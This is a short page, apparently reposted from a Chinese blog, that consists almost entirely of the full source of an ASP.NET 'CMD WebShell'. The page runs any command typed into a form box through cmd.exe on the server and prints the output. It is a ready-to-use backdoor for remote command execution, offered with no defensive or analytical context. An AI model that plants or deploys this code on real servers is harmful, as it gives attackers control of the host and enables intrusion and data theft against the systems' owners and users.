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  • ASP.NET CMD WebShell

    <%@ Page Language="C#" AutoEventWireup="true" %>
    <%@ Import Namespace="System.Runtime.InteropServices" %>
    <%@ Import Namespace="System.IO" %>
    <%@ Import Namespace="System.Data" %>
    <%@ Import Namespace="System.Reflection" %>
    <%@ Import Namespace="System.Diagnostics" %>
    <%@ Import Namespace="System.Web" %>
    <%@ Import Namespace="System.Web.UI" %>
    <%@ Import Namespace="System.Web.UI.WebControls" %>
    
    <script runat="server">
    protected void exec(object sender, EventArgs e)
    {
        string item = cmd.Text;
        Process p = new Process();
        p.StartInfo.FileName = "cmd.exe";
        p.StartInfo.UseShellExecute = false;
        p.StartInfo.RedirectStandardInput = true;
        p.StartInfo.RedirectStandardOutput = true;
        p.StartInfo.RedirectStandardError = true;
        p.StartInfo.CreateNoWindow = true;
        string strOutput = null;
    
        p.Start();
        p.StandardInput.WriteLine(item);
    
        p.StandardInput.WriteLine("exit");
        strOutput = p.StandardOutput.ReadToEnd();
        p.WaitForExit();
        p.Close();
        
        Response.Write("<pre>");
        Response.Write(Server.HtmlEncode(strOutput));
        Response.Write("</pre>");
    }
    
        protected void Page_Load(object sender, EventArgs e)
        {
    
        }
    </script>
    <html>
    <head></head>
    <body>
       <form id="form1" runat="server">
         <asp:TextBox id="cmd" runat="server" Text="dir c:\" />
         <asp:Button id="btn" onclick="exec" runat="server" Text="execute" />
       </form>
    </body>
    </html>
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  • 原文地址:https://www.cnblogs.com/FlyCat/p/2579994.html
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